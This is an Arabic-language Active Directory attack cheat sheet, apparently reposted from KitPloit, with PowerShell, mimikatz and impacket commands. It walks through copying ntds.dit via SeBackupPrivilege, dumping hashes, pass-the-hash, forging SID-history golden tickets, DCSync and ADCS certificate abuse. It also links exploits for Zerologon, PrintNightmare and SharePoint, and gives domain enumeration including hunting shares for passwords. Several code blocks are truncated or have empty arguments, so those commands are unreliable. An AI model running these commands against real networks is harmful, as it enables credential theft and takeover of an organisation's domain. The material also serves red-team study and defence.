  2. بعد ذلك نحتاج إلى الوصول إلى نسخة الظل، قد يكون لدينا امتياز SeBackupPrivilege ولكن لا يمكننا ببساطة نسخ ntds.dit ولصقها، نحتاج إلى محاكاة برنامج نسخ احتياطي واستخدام استدعاءات Win32 API لنسخها إلى مجلد يمكن الوصول إليه. لهذا سنستخدم هذا المستودع الرائع: ```powershell #Importing both dlls from the repo using powershell Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeUtils.dll

    #Checking if the SeBackupPrivilege is enabled Get-SeBackupPrivilege

    #If it isn't we enable it Set-SeBackupPrivilege

    #Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:<PathToSave>\ntds.dit -Overwrite

    #Dump the SYSTEM hive reg save HKLM\SYSTEM c:\temp\system.hive

    root@kitploit:~
  3. باستخدام smbclient.py من impacket أو أداة أخرى، نقوم بنسخ ntds.dit و hive SYSTEM على جهازنا المحلي.

  4. استخدم secretsdump.py من impacket وقم بتفريغ التجزئات (hashes).

  5. استخدم psexec أو أداة أخرى من اختيارك لـ PTH واحصل على صلاحيات مدير المجال (Domain Admin).

إساءة استخدام Exchange

  • إساءة استخدام Exchange بمكالمة API واحدة من DA
  • CVE-2020-0688
  • PrivExchange Exchange your privileges for Domain Admin privs by abusing Exchange

تسليح عطل الطابعة (Printer Bug)

  • من عطل خادم الطابعة إلى مدير المجال
  • NetNTLMtoSilverTicket

إساءة استخدام قوائم التحكم في الوصول (ACLs)

  • رفع الصلاحيات باستخدام ACLs في Active Directory
  • aclpwn.py
  • Invoke-ACLPwn

إساءة استخدام IPv6 مع mitm6

  • اختراق شبكات IPv4 عبر IPv6
  • mitm6

إساءة استخدام سجل SID (SID History)

ما هذا؟: إذا تمكنا من اختراق نطاق فرعي (child domain) في غابة (forest) ولم يتم تمكين SID filtering (في معظم الأحيان لا يكون ممكّنًا)، فيمكننا إساءة استخدامه لرفع الصلاحيات إلى مدير المجال (Domain Administrator) للنطاق الجذر (root domain) للغابة. هذا ممكن بسبب حقل SID History في تذكرة kerberos TGT، الذي يحدد مجموعات الأمان والصلاحيات "الإضافية".

مثال على الاستغلال:```powershell #Get the SID of the Current Domain using PowerView Get-DomainSID -Domain current.root.domain.local

#Get the SID of the Root Domain using PowerView Get-DomainSID -Domain root.domain.local

#Create the Enteprise Admins SID Format: RootDomainSID-519

#Forge "Extra" Golden Ticket using mimikatz kerberos::golden /user:Administrator /domain:current.root.domain.local /sid: /krbtgt: /sids: /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi

#Inject the ticket into memory kerberos::ptt \path\to\ticket\golden.kirbi

#List the DC of the Root Domain dir \dc.root.domain.local\C$

#Or DCsync and dump the hashes using mimikatz lsadump::dcsync /domain:root.domain.local /all

root@kitploit:~
مقالات مفصلة:

- [Kerberos Golden Tickets are Now More Golden](https://adsecurity.org/?p=1640)
- [A Guide to Attacking Domain Trusts](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)

### استغلال SharePoint

- [CVE-2019-0604](https://medium.com/@gorkemkaradeniz/sharepoint-cve-2019-0604-rce-exploitation-ab3056623b7d) استغلال تنفيذ الأوامر عن بُعد \
  [PoC](https://github.com/k8gege/CVE-2019-0604)
- [CVE-2019-1257](https://www.zerodayinitiative.com/blog/2019/9/18/cve-2019-1257-code-execution-on-microsoft-sharepoint-through-bdc-deserialization) تنفيذ الأكواد عبر إلغاء تسلسل BDC
- [CVE-2020-0932](https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters) تنفيذ الأوامر عن بُعد باستخدام محولات الأنواع \
  [PoC](https://github.com/thezdi/PoC/tree/master/CVE-2020-0932)

### Zerologon

- [Zerologon: اختراق وحدة تحكم المجال غير المصادق عليها](https://www.secura.com/whitepapers/zerologon-whitepaper): ورقة بيضاء حول الثغرة.
- [SharpZeroLogon](https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon): تطبيق بلغة C# لاستغلال Zerologon.
- [Invoke-ZeroLogon](https://github.com/BC-SECURITY/Invoke-ZeroLogon): تطبيق بلغة PowerShell لاستغلال Zerologon.
- [Zer0Dump](https://github.com/bb00/zer0dump): تطبيق بلغة Python لاستغلال Zerologon باستخدام مكتبة impacket.

### PrintNightmare

- [CVE-2021-34527](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34527): تفاصيل الثغرة.
- [تطبيق impacket لـ PrintNightmare](https://github.com/cube0x0/CVE-2021-1675): إثبات مفهوم موثوق لـ PrintNightmare باستخدام مكتبة impacket.
- [تطبيق بلغة C# لـ CVE-2021-1675](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare): إثبات مفهوم موثوق لـ PrintNightmare مكتوب بلغة C#.

### خدمات شهادات Active Directory

**التحقق من قوالب الشهادات الضعيفة باستخدام:** [Certify](https://github.com/GhostPack/Certify)

_ملاحظة: يمكن تنفيذ Certify باستخدام أمر `execute-assembly` الخاص بـ Cobalt Strike أيضًا_```powershell
.\Certify.exe find /vulnerable /quiet

تأكد من أن قيمة msPKI-Certificates-Name-Flag مضبوطة على "ENROLLEE_SUPPLIES_SUBJECT" وأن صلاحيات التسجيل (Enrollment Rights) تسمح لمستخدمي المجال/المستخدمين الموثقين (Domain/Authenticated Users). بالإضافة إلى ذلك، تحقق من أن المعامل pkiextendedkeyusage يحتوي على قيمة "Client Authentication" وكذلك أن المعامل "Authorized Signatures Required" مضبوط على 0.

يعمل هذا الاستغلال فقط لأن هذه الإعدادات تمكن مصادقة الخادم/العميل، مما يعني أن المهاجم يمكنه تحديد UPN لمسؤول المجال ("DA") واستخدام الشهادة الملتقطة مع Rubeus لتزوير المصادقة.

ملاحظة: إذا كان مسؤول المجال ضمن مجموعة المستخدمين المحميين (Protected Users)، فقد لا يعمل الاستغلال كما هو متوقع. تحقق قبل اختيار DA لاستهدافه.

اطلب شهادة حساب مسؤول المجال باستخدام Certify```powershell .\Certify.exe request /template:

تنزيل الأداة
  • تعداد المجموعات وأعضاء المجموعات: ```powershell #Save all Domain Groups to a file: Get-DomainGroup | Out-File -FilePath .\DomainGroup.txt

    #Return members of Specific Group (eg. Domain Admins & Enterprise Admins) Get-DomainGroup -Identity '' | Select-Object -ExpandProperty Member Get-DomainGroupMember -Identity '' | Select-Object MemberDistinguishedName

    #Enumerate the local groups on the local (or remote) machine. Requires local admin rights on the remote machine Get-NetLocalGroup | Select-Object GroupName

    #Enumerates members of a specific local group on the local (or remote) machine. Also requires local admin rights on the remote machine Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain

    #Return all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName

    root@kitploit:~
  • تعداد المشاركات: ```powershell #Enumerate Domain Shares Find-DomainShare

    #Enumerate Domain Shares the current user has access Find-DomainShare -CheckShareAccess

    #Enumerate "Interesting" Files on accessible shares Find-InterestingDomainShareFile -Include passwords

    root@kitploit:~
  • تعداد سياسات المجموعة: ```powershell Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName

    #Enumerate all GPOs to a specific computer Get-DomainGPO -ComputerIdentity -Properties DisplayName | Sort-Object -Property DisplayName

    #Get users that are part of a Machine's local Admin group Get-DomainGPOComputerLocalGroupMapping -ComputerName

    root@kitploit:~
  • تعداد OUs: ```powershell Get-DomainOU -Properties Name | Sort-Object -Property Name

    root@kitploit:~
  • تعداد ACLs: ```powershell

    Returns the ACLs associated with the specified account

    Get-DomainObjectAcl -Identity -ResolveGUIDs

    #Search for interesting ACEs Find-InterestingDomainAcl -ResolveGUIDs

    #Check the ACLs associated with a specified path (e.g smb share) Get-PathAcl -Path "\Path\Of\A\Share"

    root@kitploit:~
  • تعداد ثقة المجال: ```powershell Get-DomainTrust Get-DomainTrust -Domain

    #Enumerate all trusts for the current domain and then enumerates all trusts for each domain it finds Get-DomainTrustMapping

    root@kitploit:~
  • Enum Forest Trust: ```powershell Get-ForestDomain Get-ForestDomain -Forest

    #Map the Trust of the Forest Get-ForestTrust Get-ForestTrust -Forest

    root@kitploit:~
  • صيد المستخدمين: ```powershell #Finds all machines on the current domain where the current user has local admin access Find-LocalAdminAccess -Verbose

    #Find local admins on all machines of the domain Find-DomainLocalGroupMember -Verbose

    #Find computers were a Domain Admin OR a specified user has a session Find-DomainUserLocation | Select-Object UserName, SessionFromName

    #Confirming admin access Test-AdminAccess

    root@kitploit:~